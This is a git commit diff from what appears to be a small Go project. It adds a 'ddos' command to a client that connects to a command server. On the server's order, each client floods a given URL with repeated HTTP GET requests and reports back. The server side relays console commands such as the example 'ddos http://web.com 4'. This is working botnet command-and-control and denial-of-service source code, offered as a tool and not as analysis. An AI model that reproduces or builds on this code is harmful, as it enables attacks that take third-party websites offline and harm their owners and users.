ddos by the clients implemented, works fine
arnaucode idoctnef@openmailbox.org
Thu, 16 Mar 2017 15:53:15 +0100
2 files changed,
54 insertions(+),
11 deletions(-)
M
client/main.go
→
client/main.go
@@ -4,7 +4,10 @@ import (
"bufio" "fmt" "net" + "net/http" "os" + "strconv" + "strings" "time" )@@ -14,7 +17,7 @@ CONN_PORT = "3333"
CONN_TYPE = "tcp" ) -func main() { //client https://systembash.com/a-simple-go-tcp-server-and-tcp-client/ +func main() { // connect to this socket conn, _ := net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT)@@ -29,17 +32,61 @@ fmt.Println("local ip:", ip)
// send to socket fmt.Fprintf(conn, "[client connecting] - [date]: "+time.Now().Local().Format(time.UnixDate)+" - [hostname]: "+hostname+", [ip]: "+ip.String()+"\n") for { - message, err := bufio.NewReader(conn).ReadString('\n') + command, err := bufio.NewReader(conn).ReadString('\n') if err != nil { fmt.Println(err) fmt.Println("server disconnected") os.Exit(1) } - fmt.Print("Command from server: " + message) + fmt.Println("Command from server: " + command) + //fmt.Println(len(strings.Split(command, " "))) + + comm := strings.Split(command, " ")[0] + switch comm { + case "ddos": + fmt.Println("url case, checking parameters") + if len(strings.Split(command, " ")) < 3 { + fmt.Println("not enought parameters") + break + } + fmt.Println("url case") + go ddos(command, conn, hostname) + default: + fmt.Println("default case, no specified command") + fmt.Println("") + fmt.Println("-- waiting for new orders --") + } + } } +func ddos(command string, conn net.Conn, hostname string) { + url := strings.Split(command, " ")[1] + url = strings.TrimSpace(url) + + iterations := strings.Split(command, " ")[2] + iterations = strings.TrimSpace(iterations) + iter, err := strconv.Atoi(iterations) + if err != nil { + fmt.Println(err) + } + fmt.Println("url to ddos: " + url) + for i := 0; i < iter; i++ { + fmt.Println(i) + resp, err := http.Get(url) + if err != nil { + fmt.Println(err) + } + fmt.Println(resp) + } + msg := "[hostname]: " + hostname + ", [msg]: iterations done, ddos ended" + "[date]: " + time.Now().Local().Format(time.UnixDate) + fmt.Println(msg) + fmt.Fprintf(conn, msg+"\n") + fmt.Println("") + fmt.Println("-- waiting for new orders --") +} + func getIp() net.IP { var ip net.IP ifaces, err := net.Interfaces()@@ -52,14 +99,12 @@ if err != nil {
fmt.Println(err) } for _, addr := range addrs { - switch v := addr.(type) { case *net.IPNet: ip = v.IP case *net.IPAddr: ip = v.IP } - // process IP address } } return ip
M
server/main.go
→
server/main.go
@@ -29,11 +29,9 @@ func (client *Client) Read() {
for { line, err := client.reader.ReadString('\n') if err == nil { - if client.connection != nil { - client.connection.outgoing <- line - } fmt.Println("") fmt.Println(line) + fmt.Print("enter new command: ") } else { break }@@ -74,7 +72,7 @@
return client } -func watchConsoleInput(conn net.Conn) { +func watchConsoleInput(conn net.Conn) { //example: ddos http://web.com 4 newcommand := bufio.NewReader(os.Stdin) for { text, _ := newcommand.ReadString('\n')@@ -92,7 +90,7 @@ fmt.Print("enter new command: ")
} } } -func watchConnectionInput(client *Client) { +func watchClientConnectionInput(client *Client) { for clientList, _ := range allClients { if clientList.connection == nil { client.connection = clientList@@ -122,7 +120,7 @@ if err != nil {
fmt.Println(err.Error()) } client := NewClient(conn) - go watchConnectionInput(client) + go watchClientConnectionInput(client) go watchConsoleInput(client.conn) } }